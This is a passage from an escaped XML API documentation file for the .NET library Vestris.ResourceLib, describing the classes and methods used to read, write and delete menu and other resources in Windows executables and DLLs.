name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItemCollection\">\n            <summary>\n            A collection of menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.#ctor\">\n            <summary>\n            A collection of extended menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item collection.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu collection to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItemCommand\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCommand.#ctor\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplateItemCommand.IsSeparator\">\n            <summary>\n            Returns true if the item is a separator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCommand.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItemPopup\">\n            <summary>\n            An extended popup menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplateItemPopup.SubMenuItems\">\n            <summary>\n            Sub menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.#ctor\">\n            <summary>\n            An extended popup menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.Read(System.IntPtr)\">\n            <summary>\n            Read an extended popup menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENUEX format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuResource\">\n            <summary>\n            A generic resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuResource.Menu\">\n            <summary>\n            Menu template.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.#ctor\">\n            <summary>\n            A structured menu resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A structured menu resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Type of resource.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language id.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a menu resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.ToString\">\n            <summary>\n            String representation of the menu resource in the MENU format.\n            </summary>\n            <returns>String representation of the menu resource.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplate\">\n            <summary>\n            Standard menu template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplate.MenuItems\">\n            <summary>\n            Menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the menu template.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write menu template to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplate.ToString\">\n            <summary>\n            String representation of the menu in the MENU format.\n            </summary>\n            <returns>String representation of the menu.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateBase\">\n            <summary>\n            A menu template header.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateBase.Read(System.IntPtr)\">\n            <summary>\n            Read the menu template header.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateBase.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItem\">\n            <summary>\n            A base menu template item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuTemplateItem._header\">\n            <summary>\n            Menu item header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuTemplateItem._menuString\">\n            <summary>\n            Menu string.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItem.MenuString\">\n            <summary>\n            Menu text.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItem.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItem.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItem.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItemCollection\">\n            <summary>\n            A collection of menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.#ctor\">\n            <summary>\n            A collection of menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item collection.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu collection to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItemCommand\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItemCommand.MenuId\">\n            <summary>\n            Command menu id.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.#ctor\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.Read(System.IntPtr)\">\n            <summary>\n            Read a command menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItemCommand.IsSeparator\">\n            <summary>\n            Returns true if the item is a separator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItemPopup\">\n            <summary>\n            A popup menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItemPopup.SubMenuItems\">\n            <summary>\n            Sub menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.#ctor\">\n            <summary>\n            A popup menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.Read(System.IntPtr)\">\n            <summary>\n            Read a popup menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Resource\">\n            <summary>\n            A version resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._type\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._name\">\n            <summary>\n            Resource name.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._language\">\n            <summary>\n            Resource language.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._hModule\">\n            <summary>\n            Loaded binary nodule.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._hResource\">\n            <summary>\n            Pointer to the resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._size\">\n            <summary>\n            Resource size.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Size\">\n            <summary>\n            Version resource size in bytes.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Language\">\n            <summary>\n            Language ID.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Type\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.TypeName\">\n            <summary>\n            String representation of the resource type.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Name\">\n            <summary>\n            Resource name.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.#ctor\">\n            <summary>\n            A new resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A structured resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LockAndReadResource(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Lock and read the resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LoadFrom(System.String)\">\n            <summary>\n            Load a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">An executable (.exe or .dll) file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LoadFrom(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Load a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">An executable (.exe or .dll) file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"lang\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LoadFrom(System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Load a resource from an executable (.exe or .dll) module.\n            </summary>\n            <param name=\"hModule\">An executable (.exe or .dll) module.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"lang\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a resource from a previously loaded module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a memory stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.WriteAndGetBytes\">\n            <summary>\n            Return resource data.\n            </summary>\n            <returns>Resource data.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.SaveTo(System.String)\">\n            <summary>\n            Save a resource.\n            </summary>\n            <param name=\"filename\">Name of an executable file (.exe or .dll).</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.SaveTo(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Save a resource to an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"langid\">Language id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.DeleteFrom(System.String)\">\n            <summary>\n            Delete a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Delete(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Delete a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"lang\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.SaveTo(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Byte[])\">\n            <summary>\n            Save a resource to an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"lang\">Resource language.</param>\n            <param name=\"data\">Resource data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Save(System.String,System.Collections.Generic.IEnumerable{Vestris.ResourceLib.Resource})\">\n            <summary>\n            Save a batch of resources to a given file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"resources\">The resources to write.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceId\">\n            <summary>\n            A resource Id.\n            There're two types of resource Ids, reserved integer numbers (eg. RT_ICON) and custom string names (eg. \"CUSTOM\").\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(System.IntPtr)\">\n            <summary>\n            A resource identifier.\n            </summary>\n            <param name=\"value\">A integer or string resource id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(System.UInt32)\">\n            <summary>\n            A resource identifier.\n            </summary>\n            <param name=\"value\">A integer resource id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(Vestris.ResourceLib.Kernel32.ResourceTypes)\">\n            <summary>\n            A well-known resource-type identifier.\n            </summary>\n            <param name=\"value\">A well known resource type.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(System.String)\">\n            <summary>\n            A custom resource identifier.\n            </summary>\n            <param name=\"value\"></param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.Id\">\n            <summary>\n            Resource Id.\n            </summary>\n            <remarks>\n            If the resource Id is a string, it will be copied.\n            </remarks>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.TypeName\">\n            <summary>\n            String representation of a resource type name.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.ResourceType\">\n            <summary>\n            An enumerated resource type for built-in resource types only.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.IsIntResource\">\n            <summary>\n            Returns true if the resource is an integer resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.IsIntResource(System.IntPtr)\">\n            <summary>\n            Returns true if the resource is an integer resource.\n            </summary>\n            <param name=\"value\">Resource pointer.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.Name\">\n            <summary>\n            Resource Id in a string format.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.ToString\">\n            <summary>\n            String representation of the resource Id.\n            </summary>\n            <returns>Resource name.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.GetHashCode\">\n            <summary>\n            Resource Id hash code. \n            Resource Ids of the same type have the same hash code.\n            </summary>\n            <returns>Resource Id.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.Equals(System.Object)\">\n            <summary>\n            Compares two resource Ids by value.\n            </summary>\n            <param name=\"obj\">Resource Id.</param>\n            <returns>True if both resource Ids represent the same resource.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceInfo\">\n            <summary>\n            Resource info manager.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.Resources\">\n            <summary>\n            A dictionary of resources, the key is the resource type, eg. \"REGISTRY\" or \"16\" (version).\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.ResourceTypes\">\n            <summary>\n            A shortcut for available resource types.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.#ctor\">\n            <summary>\n            A new resource info.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Unload\">\n            <summary>\n            Unload the previously loaded module.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Load(System.String)\">\n            <summary>\n            Load an executable or a DLL and read its resources.\n            </summary>\n            <param name=\"filename\">Source filename.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.EnumResourceTypesImpl(System.IntPtr,System.IntPtr,System.IntPtr)\">\n            <summary>\n            Enumerate resource types.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpszType\">Resource type.</param>\n            <param name=\"lParam\">Additional parameter.</param>\n            <returns>TRUE if successful.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.EnumResourceNamesImpl(System.IntPtr,System.IntPtr,System.IntPtr,System.IntPtr)\">\n            <summary>\n            Enumerate resource names within a resource by type\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpszType\">Resource type.</param>\n            <param name=\"lpszName\">Resource name.</param>\n            <param name=\"lParam\">Additional parameter.</param>\n            <returns>TRUE if successful.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.CreateResource(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            Create a resource of a given type.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResourceGlobal\">Pointer to the resource in memory.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"wIDLanguage\">Language ID.</param>\n            <param name=\"size\">Size of resource.</param>\n            <returns>A specialized or a generic resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.EnumResourceLanguages(System.IntPtr,System.IntPtr,System.IntPtr,System.UInt16,System.IntPtr)\">\n            <summary>\n            Enumerate resource languages within a resource by name\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpszType\">Resource type.</param>\n            <param name=\"lpszName\">Resource name.</param>\n            <param name=\"wIDLanguage\">Language ID.</param>\n            <param name=\"lParam\">Additional parameter.</param>\n            <returns>TRUE if successful.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Save(System.String)\">\n            <summary>\n            Save resource to a file.\n            </summary>\n            <param name=\"filename\">Target filename.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Dispose\">\n            <summary>\n            Dispose resource info object.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.Item(Vestris.ResourceLib.Kernel32.ResourceTypes)\">\n            <summary>\n            A collection of resources.\n            </summary>\n            <param name=\"type\">Resource type.</param>\n            <returns>A collection of resources of a given type.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.Item(System.String)\">\n            <summary>\n            A collection of resources.\n            </summary>\n            <param name=\"type\">Resource type.</param>\n            <returns>A collection of resources of a given type.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.GetEnumerator\">\n            <summary>\n            Enumerates all resources within this resource info collection.\n            </summary>\n            <returns>Resources enumerator.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.System#Collections#IEnumerable#GetEnumerator\">\n            <summary>\n            Enumerates all resources within this resource info collection.\n            </summary>\n            <returns>Resources enumerator.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceTableHeader\">\n            <summary>\n            A resource table header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.ResourceTableHeader._header\">\n            <summary>\n            Resource table header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.ResourceTableHeader._key\">\n            <summary>\n            Resource table key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceTableHeader.Key\">\n            <summary>\n            Resource table key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceTableHeader.Header\">\n            <summary>\n            Resource header.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.#ctor\">\n            <summary>\n            A new resource table header.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.#ctor(System.String)\">\n            <summary>\n            An resource table header with a specific key.\n            </summary>\n            <param name=\"key\">resource key</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.#ctor(System.IntPtr)\">\n            <summary>\n            An existing resource table.\n            </summary>\n            <param name=\"lpRes\">Pointer to resource table data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.Read(System.IntPtr)\">\n            <summary>\n            Read the resource header, return a pointer to the end of it.\n            </summary>\n            <param name=\"lpRes\">Top of header.</param>\n            <returns>End of header, after the key, aligned at a 32 bit boundary.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource table.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.ToString\">\n            <summary>\n            String representation.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.ToString(System.Int32)\">\n            <summary>\n            String representation.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceUtil\">\n            <summary>\n            Resource utilities.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.Align(System.Int64)\">\n            <summary>\n            Align an address to a 4-byte boundary.\n            </summary>\n            <param name=\"p\">Address in memory.</param>\n            <returns>4-byte aligned pointer.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.Align(System.IntPtr)\">\n            <summary>\n            Align a pointer to a 4-byte boundary.\n            </summary>\n            <param name=\"p\">Pointer to an address in memory.</param>\n            <returns>4-byte aligned pointer.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.PadToWORD(System.IO.BinaryWriter)\">\n            <summary>\n            Pad data to a WORD.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>New position within the binary stream.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.PadToDWORD(System.IO.BinaryWriter)\">\n            <summary>\n            Pad data to a DWORD.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>New position within the binary stream.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.HiWord(System.UInt32)\">\n            <summary>\n            Returns the high WORD from a DWORD value.\n            </summary>\n            <param name=\"value\">WORD value.</param>\n            <returns>High WORD.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.LoWord(System.UInt32)\">\n            <summary>\n            Returns the high WORD from a DWORD value.\n            </summary>\n            <param name=\"value\">WORD value.</param>\n            <returns>High WORD.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.WriteAt(System.IO.BinaryWriter,System.Int64,System.Int64)\">\n            <summary>\n            Write a value at a given position.\n            Used to write a size of data in an earlier located header.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <param name=\"value\">Value to write.</param>\n            <param name=\"address\">Address to write the value at.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.Pad(System.IO.BinaryWriter,System.UInt16)\">\n            <summary>\n            Pad bytes.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <param name=\"len\">Number of bytes to write.</param>\n            <returns>New position within the stream.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceUtil.NEUTRALLANGID\">\n            <summary>\n            Neutral language ID.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceUtil.USENGLISHLANGID\">\n            <summary>\n            US-English language ID.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.MAKELANGID(System.Int32,System.Int32)\">\n            <summary>\n            Make a language ID from a primary language ID (low-order 10 bits) and a sublanguage (high-order 6 bits).\n            </summary>\n            <param name=\"primary\">Primary language ID.</param>\n            <param name=\"sub\">Sublanguage ID.</param>\n            <returns>Microsoft language ID.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.PRIMARYLANGID(System.UInt16)\">\n            <summary>\n            Return the primary language ID from a Microsoft language ID.\n            </summary>\n            <param name=\"lcid\">Microsoft language ID</param>\n            <returns>primary language ID (low-order 10 bits)</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.SUBLANGID(System.UInt16)\">\n            <summary>\n            Return the sublanguage ID from a Microsoft language ID.\n            </summary>\n            <param name=\"lcid\">Microsoft language ID.</param>\n            <returns>Sublanguage ID (high-order 6 bits).</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.GetBytes``1(``0)\">\n            <summary>\n            Returns the memory representation of an object.\n            </summary>\n            <typeparam name=\"T\">Object type.</typeparam>\n            <param name=\"anything\">Data.</param>\n            <returns>Object's representation in memory.</returns>\n        </member>\n        <member 